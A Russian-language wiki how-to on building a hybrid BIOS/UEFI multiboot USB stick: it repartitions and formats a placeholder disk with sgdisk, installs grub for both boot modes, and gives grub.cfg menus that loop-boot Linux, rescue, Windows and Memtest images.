&lt;h1 class=&quot;sectionedit1&quot; id=&quot;универсальная_загрузочная_флешка_для_biosuefi&quot;&gt;Универсальная загрузочная флешка для BIOS/UEFI&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В один прекрасный момент я стал обладателем машинки, которая загружалась только с помощью &lt;strong&gt;UEFI&lt;/strong&gt;. Переключателя на классический режим загрузки в &lt;strong&gt;BIOS&lt;/strong&gt; не обнаружилось. Загрузиться с моей любимой &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/%D0%BC%D1%83%D0%BB%D1%8C%D1%82%D0%B8%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D1%84%D0%BB%D0%B5%D1%88%D0%BA%D0%B0_%D1%81_%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E_grub&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:мультизагрузочная_флешка_с_помощью_grub&quot; data-wiki-id=&quot;linux_faq:мультизагрузочная_флешка_с_помощью_grub&quot;&gt;Мультизагрузочной Linux-флешки&lt;/a&gt; оказалось невозможно. Более того - оказалось невозможно загрузиться и с помощью многих других образов, загрузчик в которых не работал с &lt;strong&gt;EFI&lt;/strong&gt;. &lt;br/&gt;

Настало время переделать мультизагрузочную флешку, чтобы она работала на любых системах! &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
По мотивам &lt;a href=&quot;https://wiki.archlinux.org/index.php/Multiboot_USB_drive#Hybrid_UEFI_GPT_.2B_BIOS_GPT.2FMBR_boot&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.archlinux.org/index.php/Multiboot_USB_drive#Hybrid_UEFI_GPT_.2B_BIOS_GPT.2FMBR_boot&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.archlinux.org/index.php/Multiboot_USB_drive#Hybrid_UEFI_GPT_.2B_BIOS_GPT.2FMBR_boot&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u0430\u044f \u0444\u043b\u0435\u0448\u043a\u0430 \u0434\u043b\u044f BIOS\/UEFI&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u0430\u044f_\u0437\u0430\u0433\u0440\u0443\u0437\u043e\u0447\u043d\u0430\u044f_\u0444\u043b\u0435\u0448\u043a\u0430_\u0434\u043b\u044f_biosuefi&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1138&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;подготовка&quot;&gt;Подготовка&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
На &lt;strong&gt;Ubuntu&lt;/strong&gt; надо поставить такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo add-apt-repository universe
sudo apt-get install grub-efi-amd64-bin exfat-fuse exfat-utils&lt;/pre&gt;

&lt;p&gt;
или, если exfat-utils в вашем дистрибутиве нет, то:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install grub-efi-amd64-bin exfat-fuse exfatprogs &lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1139-1477&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;разметка_флешки&quot;&gt;Разметка флешки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Полностью переразмечаем диск. Создадим четыре раздела.
&lt;/p&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Раздел с данными, на котором будут лежать ISO-образы и конфигурация &lt;strong&gt;grub&lt;/strong&gt;.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Раздел 8Gb для распакованного дистрибутива &lt;strong&gt;Windows&lt;/strong&gt; (или образа &lt;strong&gt;WinPE&lt;/strong&gt;).
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Загрузочный раздел &lt;strong&gt;EFI&lt;/strong&gt; (размер - 48 Мб).
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Загрузочный раздел &lt;strong&gt;BIOS&lt;/strong&gt; (размер 1 Мб).
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;pre class=&quot;code&quot;&gt;disk=&amp;#039;/dev/sdX&amp;#039;
disk_size=`expr $(sudo sgdisk -p $disk | awk &amp;#039;/Disk \// {print($3)}&amp;#039;)`
sudo sgdisk --zap-all $disk
sudo sgdisk --mbrtogpt --clear $disk
sudo sgdisk --new=1:2048:$(expr $disk_size - 16877568) $disk
sudo sgdisk --typecode=1:0700 $disk
sudo sgdisk --new=2:$(expr $disk_size - 16875520):$(expr $disk_size - 102401) $disk
sudo sgdisk --typecode=2:0700 $disk
sudo sgdisk --new=3:$(expr $disk_size - 102400):$(expr $disk_size - 4097) $disk
sudo sgdisk --typecode=3:EF00 $disk
sudo sgdisk --new=4:$(expr $disk_size - 4096):$(expr $disk_size - 34) $disk
sudo sgdisk --typecode=4:EF02 $disk
sudo sgdisk --attributes=4:set:2 $disk&lt;/pre&gt;

&lt;p&gt;
Отформатируем разделы и смонтируем их. &lt;br/&gt;

Разделы с данными будем форматировать в &lt;strong&gt;NTFS&lt;/strong&gt;. Это позволит работать с флехой из-под &lt;strong&gt;Windows&lt;/strong&gt; и заливать большие файлы (больше 4-х Гб). &lt;br/&gt;

Как ни странно, и &lt;strong&gt;KNOPPIX&lt;/strong&gt; и &lt;strong&gt;SystemRescueCD&lt;/strong&gt; нормально загрузились с помощью образов, размещенных на разделах, отформатированных в &lt;strong&gt;NTFS&lt;/strong&gt;!!! &lt;br/&gt;

Стоит отметить, что при использовании &lt;strong&gt;ntfs-3g&lt;/strong&gt;, запись на разделы отформатированные в &lt;strong&gt;NTFS&lt;/strong&gt; в &lt;strong&gt;Linux&lt;/strong&gt; происходит гораздо медленнее, чем на разделы &lt;strong&gt;FAT32&lt;/strong&gt; или &lt;strong&gt;ExFAT&lt;/strong&gt;. Однако, с этим можно смириться - ведь образы заливаешь один раз, но при этом - сохраняется возможность работать с флехой под виндой и загружаться с больших образов. 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo mkfs.vfat -F 32 ${disk}3
sudo mkfs.ntfs -f ${disk}1
sudo mkfs.ntfs -f ${disk}2

sudo mkdir /mnt/usb_efi
sudo mkdir /mnt/usb_data/

sudo mount  -o async,big_writes,noatime ${disk}1 /mnt/usb_data/
sudo mount ${disk}3 /mnt/usb_efi/&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0430\u0437\u043c\u0435\u0442\u043a\u0430 \u0444\u043b\u0435\u0448\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0430_\u0444\u043b\u0435\u0448\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1478-4075&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;установка_grub_и_efi&quot;&gt;Установка grub и EFI&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;sudo grub-install --target=x86_64-efi --recheck --removable --efi-directory=/mnt/usb_efi/ --boot-directory=/mnt/usb_data/boot-grub ${disk}
sudo grub-install --target=i386-pc --recheck --boot-directory=/mnt/usb_data/boot-grub --force ${disk}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 grub \u0438 EFI&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430_grub_\u0438_efi&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;4076-4378&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;grubcfg&quot;&gt;grub.cfg&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Ну и дальше настраиваем &lt;strong&gt;grub&lt;/strong&gt;, редактируя файлик &lt;strong&gt;/mnt/usb_data/boot-grub/grub/grub.cfg&lt;/strong&gt;: &lt;br/&gt;

&lt;a href=&quot;http://trcmdisk01.tripod.com/linux/s_mmlf01.html&quot; class=&quot;urlextern&quot; title=&quot;http://trcmdisk01.tripod.com/linux/s_mmlf01.html&quot; rel=&quot;ugc nofollow&quot;&gt;http://trcmdisk01.tripod.com/linux/s_mmlf01.html&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;set gfxmode=auto
insmod all_video

# https://github.com/dwarmstrong/grubs/blob/master/boot/grub/grub.cfg.sample
submenu &amp;quot;Ubuntu -&amp;gt;&amp;quot; {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green

	menuentry &amp;quot;Try or Install Xubnuntu 24.04.01 Minimal&amp;quot; {
		set iso=&amp;quot;/xubuntu-24.04.1-minimal-amd64.iso&amp;quot;
		loopback loop ${iso}
		linux   (loop)/casper/vmlinuz iso-scan/filename=${iso} file=(loop)/cdrom/preseed/xubuntu.seed maybe-ubiquity quiet splash ---
		initrd  (loop)/casper/initrd
	}
	menuentry &amp;quot;Try or Install Kubuntu 24.04.1&amp;quot; {
		set iso=&amp;quot;/kubuntu-24.04.1-desktop-amd64.iso&amp;quot;
		loopback loop ${iso}
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso}  --- quiet splash
		initrd	(loop)/casper/initrd
	}
	menuentry &amp;quot;Try or Install Linux Mint 21.3 Cinnamon 64-bit&amp;quot; {
		set iso=&amp;quot;/linuxmint-21.3-cinnamon-64bit.iso&amp;quot;
		loopback loop ${iso}
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso} boot=casper username=mint hostname=mint quiet splash --
		initrd	(loop)/casper/initrd.lz
	}
	menuentry &amp;quot;Try or Install Kubnuntu 19.04 Desktop&amp;quot; {
		set iso=&amp;quot;/kubuntu-19.04-desktop-amd64.iso&amp;quot;
		loopback loop ${iso}
		set gfxpayload=keep
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso} file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
		initrd	(loop)/casper/initrd
	}
	menuentry &amp;quot;Install Kubnuntu 18.04.1 Desktop&amp;quot; {
		set iso=&amp;quot;/kubuntu-18.04.1-desktop-amd64.iso&amp;quot;
	    	loopback loop ${iso}
		set gfxpayload=keep
		linux	(loop)/casper/vmlinuz  iso-scan/filename=${iso} file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
		initrd	(loop)/casper/initrd
	}
}
submenu &amp;quot;Debian -&amp;gt;&amp;quot; {
	menuentry &amp;quot;Live system (amd64)&amp;quot; --hotkey=l {
		set iso=&amp;quot;/debian-live-12.9.0-amd64-xfce.iso&amp;quot;
		loopback loop ${iso}
		linux	(loop)/live/vmlinuz-6.1.0-29-amd64 boot=live components quiet splash iso-scan/filename=${iso} findiso=${iso}
		initrd	(loop)/live/initrd.img-6.1.0-29-amd64
	}
	menuentry &amp;quot;Live system (amd64 fail-safe mode) ????&amp;quot; {
		set iso=&amp;quot;/debian-live-12.9.0-amd64-xfce.iso&amp;quot;
		loopback loop ${iso}
		linux	(loop)/live/vmlinuz-6.1.0-29-amd64 boot=live components memtest noapic noapm nodma nomce nosmp nosplash vga=788 iso-scan/filename=${iso} findiso=${iso}
		initrd	(loop)/live/initrd.img-6.1.0-29-amd64
	}
	menuentry &amp;#039;Start Debian 12.9.0 installer&amp;#039; {
		set iso=&amp;quot;/debian-live-12.9.0-amd64-xfce.iso&amp;quot;
		loopback loop ${iso}
		linux	(loop)/install/gtk/vmlinuz iso-scan/filename=${iso} vga=788  --- quiet
		initrd	(loop)/install/gtk/initrd.gz
	}
	menuentry &amp;#039;Debian 12.9.0 i386 Graphical install&amp;#039; {
		set iso=&amp;quot;/debian-12.9.0-i386-DVD-1.iso&amp;quot;
		loopback loop ${iso}
		set background_color=black
		linux    (loop)/install.386/vmlinuz iso-scan/filename=${iso} vga=788 --- quiet 
		initrd   (loop)/install.386/gtk/initrd.gz
	}
}
submenu &amp;quot;KNOPPIX -&amp;gt;&amp;quot; {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green
	menuentry &amp;quot;KNOPPIX_V9.1DVD-2021-01-25-EN LiveCD 64-bit Linux Kernel v.5.10.10&amp;quot; {
		set iso=&amp;quot;/KNOPPIX_V9.1DVD-2021-01-25-EN.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/boot/isolinux/linux64 bootfrom=${iso} keyboard=us language-us
		initrd (loop)/boot/isolinux/minirt.gz
	}
	menuentry &amp;quot;KNOPPIX_V8.6.1-2019-10-14-EN LiveCD 32-bit Linux Kernel v5.3.5&amp;quot; {
		set iso=&amp;quot;/KNOPPIX_V8.6.1-2019-10-14-EN.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/boot/isolinux/linux bootfrom=${iso} keyboard=us language-us
		initrd (loop)/boot/isolinux/minirt.gz
	}
	menuentry &amp;quot;KNOPPIX_V7.2.0CD-2013-06-16-EN LiveCD NOT WORKING. Kernel panic. No init found. Try passing init= option to kernel&amp;quot; {
		set iso=&amp;quot;/KNOPPIX_V7.2.0CD-2013-06-16-EN.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/boot/isolinux/linux bootfrom=${iso} keyboard=us language-us
		initrd (loop)/boot/isolinux/minirt.gz
	}
}
submenu &amp;quot;SystemRescueCD -&amp;gt;&amp;quot; {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green
	menuentry &amp;#039;Boot SystemRescue 11.03 using default options&amp;#039; {
		set gfxpayload=keep
		probe --set devuuid --fs-uuid (hd0,gpt1)
		set iso=&amp;quot;/systemrescue-11.03-amd64.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/sysresccd/boot/x86_64/vmlinuz archisobasedir=sysresccd img_dev=/dev/disk/by-uuid/${devuuid} img_loop=${iso} iomem=relaxed 
		initrd (loop)/sysresccd/boot/intel_ucode.img (loop)/sysresccd/boot/amd_ucode.img (loop)/sysresccd/boot/x86_64/sysresccd.img
	}

	menuentry &amp;#039;Boot SystemRescue 11.03 and copy system to RAM (copytoram)&amp;#039; {
		set gfxpayload=keep
		probe --set devuuid --fs-uuid (hd0,gpt1)
		set iso=&amp;quot;/systemrescue-11.03-amd64.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/sysresccd/boot/x86_64/vmlinuz archisobasedir=sysresccd iomem=relaxed img_dev=/dev/disk/by-uuid/${devuuid} img_loop=${iso} copytoram
		initrd (loop)/sysresccd/boot/intel_ucode.img (loop)/sysresccd/boot/amd_ucode.img (loop)/sysresccd/boot/x86_64/sysresccd.img 
	}

	menuentry &amp;#039;Boot SystemRescue 11.03 using basic display drivers (nomodeset)&amp;#039; {
		set gfxpayload=keep
		probe --set devuuid --fs-uuid (hd0,gpt1)
		set iso=&amp;quot;/systemrescue-11.03-amd64.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/sysresccd/boot/x86_64/vmlinuz archisobasedir=sysresccd img_dev=/dev/disk/by-uuid/${devuuid} img_loop=${iso} iomem=relaxed nomodeset
		initrd (loop)/sysresccd/boot/intel_ucode.img (loop)/sysresccd/boot/amd_ucode.img (loop)/sysresccd/boot/x86_64/sysresccd.img
	}
	menuentry &amp;quot;SystemRescueCD 5.3.1 Live, linux kernel v.4.14 (64bit, cache all files in memory and startX) wont start X on AMD Ryzen 4000 series. Shell seems to work.&amp;quot; {
		set iso=&amp;quot;/systemrescuecd-x86-5.3.1.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/isolinux/rescue64 isoloop=${iso} setkmap=us docache dostartx nomodeset
		initrd (loop)/isolinux/initram.igz
	}
	menuentry &amp;quot;SystemRescueCD 5.3.1 Live (64bit, default boot options)&amp;quot; {
		set iso=&amp;quot;/systemrescuecd-x86-5.3.1.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/isolinux/rescue64 isoloop=${iso} setkmap=us nomodeset
		initrd (loop)/isolinux/initram.igz
	}
	menuentry &amp;quot;SystemRescueCd 5.3.1 Live (32bit, default boot options)&amp;quot; {
		set iso=&amp;quot;/systemrescuecd-x86-5.3.1.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/isolinux/rescue32 isoloop=${iso} setkmap=us docache nomodeset
		initrd (loop)/isolinux/initram.igz
	}
}
submenu &amp;quot;Windows -&amp;gt;&amp;quot; {
	set menu_color_normal=white/black
	set menu_color_highlight=white/green
	menuentry &amp;quot;Windows 10 Installer&amp;quot; {
		insmod ntfs
		search --set=root --file /bootmgr
		ntldr /bootmgr
		boot
	}

	menuentry &amp;quot;Windows 7 or Windows 10 installer&amp;quot; --class windows --class os {
		insmod part_msdos
		insmod ntfs
		insmod ntldr
		search --no-floppy --file /bootmgr --set=root
		ntldr /bootmgr
		boot
	}
}
submenu &amp;#039;Utilities...&amp;#039; {
	menuentry &amp;#039;Memtest86+ memory tester for UEFI from SystemRescueCD 11.03&amp;#039; {
		insmod fat
		set gfxpayload=800x600,1024x768
		set iso=&amp;quot;/systemrescue-11.03-amd64.iso&amp;quot;
		loopback loop ${iso}
		linux (loop)/EFI/memtest.efi keyboard=both
	}
	menuentry &amp;quot;Memtest 86+ (from Kubnuntu 24.04.1)&amp;quot; {
		loopback loop /kubuntu-24.04.1-desktop-amd64.iso
		set gfxpayload=keep
		linux16	(loop)/boot/memtest86+x64.bin
	}
	menuentry &amp;#039;Start EFI Shell&amp;#039; {
		insmod fat
		insmod chain
		terminal_output console
		set iso=&amp;quot;/systemrescue-11.03-amd64.iso&amp;quot;
		loopback loop ${iso}
		chainloader (loop)/EFI/shell.efi
	}
}&lt;/pre&gt;

&lt;p&gt;
ну и старая версия
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;if [ x$feature_all_video_module = xy ]; then
    insmod all_video
else
    insmod efi_gop
    insmod efi_uga
    insmod ieee1275_fb
    insmod vbe
    insmod vga
    insmod video_bochs
    insmod video_cirrus
fi

menuentry &amp;quot;Install Kubnuntu 21.04 Desktop&amp;quot; {
    loopback loop /kubuntu-21.04-desktop-amd64.iso
    set gfxpayload=keep
    linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-21.04-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed maybe-ubiquity quiet splash ---
    initrd	(loop)/casper/initrd
}

menuentry &amp;quot;KNOPPIX_V8.2-2018-05-10-EN LiveCD&amp;quot; {
loopback loop /KNOPPIX_V8.2-2018-05-10-EN.iso
linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V8.2-2018-05-10-EN.iso keyboard=us language-us
initrd (loop)/boot/isolinux/minirt.gz
}

menuentry &amp;quot;KNOPPIX_V7.2.0CD-2013-06-16-EN LiveCD&amp;quot; {
loopback loop /KNOPPIX_V7.2.0CD-2013-06-16-EN.iso
linux (loop)/boot/isolinux/linux bootfrom=/KNOPPIX_V7.2.0CD-2013-06-16-EN.iso keyboard=us language-us
initrd (loop)/boot/isolinux/minirt.gz
}

menuentry &amp;quot;SystemRescueCd 5.3.1 Live (64bit, cache all files in memory and startX)&amp;quot; {
 loopback loop /systemrescuecd-x86-5.3.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd-x86-5.3.1.iso setkmap=us docache dostartx
 initrd (loop)/isolinux/initram.igz
}

menuentry &amp;quot;SystemRescueCd 5.3.1 Live (64bit, default boot options)&amp;quot; {
 loopback loop /systemrescuecd-x86-5.3.1.iso
 linux (loop)/isolinux/rescue64 isoloop=/systemrescuecd-x86-5.3.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry &amp;quot;SystemRescueCd 5.3.1 Live (32bit, default boot options)&amp;quot; {
 loopback loop /systemrescuecd-x86-5.3.1.iso
 linux (loop)/isolinux/rescue32 isoloop=/systemrescuecd-x86-5.3.1.iso setkmap=us
 initrd (loop)/isolinux/initram.igz
}

menuentry &amp;quot;Install Kubnuntu 18.04.1 Desktop&amp;quot; {
    loopback loop /kubuntu-18.04.1-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-18.04.1-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd
}

menuentry &amp;quot;Install Kubnuntu 18.04.2 Server&amp;quot; {
    set isofile=&amp;quot;/ubuntu-18.04.2-live-server-amd64.iso&amp;quot;
    loopback loop $isofile
    linux (loop)/casper/vmlinuz iso-scan/filename=$isofile boot=casper quiet ---
    initrd (loop)/casper/initrd
}

menuentry &amp;quot;Install Kubnuntu 19.04 Desktop&amp;quot; {
    loopback loop /kubuntu-19.04-desktop-amd64.iso
	set gfxpayload=keep
	linux	(loop)/casper/vmlinuz  iso-scan/filename=/kubuntu-19.04-desktop-amd64.iso file=(loop)/preseed/kubuntu.seed boot=casper only-ubiquity quiet splash oem-config/enable=true ---
	initrd	(loop)/casper/initrd
}

menuentry &amp;quot;Install Ubnuntu 20.04 Server&amp;quot; {
    insmod part_gpt
    insmod ext2
    insmod search_fs_uuid
    rmmod tpm

    search --no-floppy --set=root --fs-uuid 36c1a912-77c7-4cec-8120-c2088e1e131c
    
    set isofile=&amp;quot;/ubuntu-20.04-live-server-amd64.iso&amp;quot;
    set gfxpayload=keep
    
    loopback loop ($root)$isofile

	linux	(loop)/casper/vmlinuz iso-scan/filename=${isofile} quiet ---
	initrd	(loop)/casper/initrd
}

menuentry &amp;quot;Install Ubuntu Server 16.04 i386&amp;quot; {
    loopback loop /ubuntu-16.04.6-server-i386.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz isoloop=/ubuntu-16.04.6-server-i386.iso file=/cdrom/preseed/ubuntu-server.seed quiet splash ---
	initrd	(loop)/install/initrd.gz
}

menuentry &amp;quot;Install Ubuntu Server 16.04 x64&amp;quot; {
    loopback loop /ubuntu-16.04.6-server-amd64.iso
	set gfxpayload=keep
	linux	(loop)/install/vmlinuz iso-scan/filename=/ubuntu-16.04.6-server-amd64.iso file=/cdrom/preseed/ubuntu-server.seed quiet splash ---
	initrd	(loop)/install/initrd.gz
}

menuentry &amp;#039;Debian 10 i386 Install&amp;#039; {
    set background_color=black
    loopback loop /debian-edu-10.0.0-i386-netinst.iso
    linux    (loop)/install.386/gtk/vmlinuz findiso=/debian-edu-10.0.0-i386-netinst.iso modules=debian-edu-install-udeb desktop=xfce vga=788 --- quiet 
    initrd   (loop)/install.386/gtk/initrd.gz
}

menuentry &amp;quot;Memtest 86+ (from Kubnuntu 19.04)&amp;quot; {
    loopback loop /kubuntu-19.04-desktop-amd64.iso
	set gfxpayload=keep
	linux16	(loop)/install/mt86plus
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;grub.cfg&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;grubcfg&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4379-15955&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;загрузка_образов_дискет_freedos_memtest_mhdd_etc&quot;&gt;Загрузка образов дискет (FreeDOS, MemTest, MHDD, etc...)&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В образе &lt;strong&gt;SystemRescueCD&lt;/strong&gt; в папке &lt;strong&gt;/bootdisk&lt;/strong&gt; есть образы дискет &lt;strong&gt;DOS&lt;/strong&gt; с разными утилитами. Пока что мне не удалось запустить ни один из таких образов. Однако, известно, что для их запуска используется утилита &lt;a href=&quot;https://www.syslinux.org/wiki/index.php?title=MEMDISK&quot; class=&quot;urlextern&quot; title=&quot;https://www.syslinux.org/wiki/index.php?title=MEMDISK&quot; rel=&quot;ugc nofollow&quot;&gt;memdisk&lt;/a&gt;, которая лежит в папке &lt;strong&gt;/isolinux&lt;/strong&gt;. &lt;br/&gt;

Немного информации есть тут: &lt;a href=&quot;https://www.linux.org.ru/forum/general/9653654&quot; class=&quot;urlextern&quot; title=&quot;https://www.linux.org.ru/forum/general/9653654&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.linux.org.ru/forum/general/9653654&lt;/a&gt; &lt;br/&gt;

Общий принцип - в качестве ядра указывается &lt;strong&gt;memdisk&lt;/strong&gt;, а в качестве &lt;strong&gt;initrd&lt;/strong&gt; - образ дискеты
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;linux16 (loop)/isolinux/memdisk
initrd16 (loop)/isolinux/fdboot.img&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u0434\u0438\u0441\u043a\u0435\u0442 (FreeDOS, MemTest, MHDD, etc...)&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430_\u043e\u0431\u0440\u0430\u0437\u043e\u0432_\u0434\u0438\u0441\u043a\u0435\u0442_freedos_memtest_mhdd_etc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:5,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;15956-16870&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit7&quot; id=&quot;установка_windows_с_такой_uefi-флешки&quot;&gt;Установка Windows с такой UEFI-флешки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После копирования файлов iso-образа на раздел:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rsync -av /mnt/cdrom/ /mnt/flash/&lt;/pre&gt;

&lt;p&gt;
Выяснилось, что стандартный способ загрузки Windows из &lt;strong&gt;grub&lt;/strong&gt; на такой флешке не работает! &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;menuentry &amp;quot;Windows 10 Installer&amp;quot; {
    insmod ntfs
    search --set=root --file /bootmgr
    ntldr /bootmgr
    boot
}&lt;/pre&gt;

&lt;p&gt;
Оказалось, что &lt;strong&gt;bootmgr&lt;/strong&gt;, используемый для загрузки компьютеров с &lt;strong&gt;BIOS&lt;/strong&gt; не загружается с &lt;strong&gt;GPT&lt;/strong&gt;-разделов.  С &lt;strong&gt;GPT&lt;/strong&gt;-разделов может загружаться только &lt;strong&gt;bootx64.efi&lt;/strong&gt;, для работы которого нужен &lt;strong&gt;EFI&lt;/strong&gt;. &lt;br/&gt;

Если попытаться загрузить &lt;strong&gt;bootmgr&lt;/strong&gt; с такой флешки, то комп просто перезагрузится. Без всяких сообщений. &lt;br/&gt;

Вариантов загрузки &lt;strong&gt;Windows&lt;/strong&gt; на &lt;strong&gt;BIOS&lt;/strong&gt;-компьютере с &lt;strong&gt;GPT&lt;/strong&gt;-диском несколько. &lt;br/&gt;

Первый - &lt;strong&gt;DUET&lt;/strong&gt; (Developer’s UEFI Environment). В этом случае, сначала загружается эмулятор &lt;strong&gt;EFI&lt;/strong&gt;, который загружает &lt;strong&gt;bootx64.efi&lt;/strong&gt;. &lt;br/&gt;

Второй - использование режима &lt;strong&gt;hybrid MBR&lt;/strong&gt;. Это можно сделать утилитой &lt;strong&gt;gdisk&lt;/strong&gt;. 
&lt;/p&gt;

&lt;/div&gt;
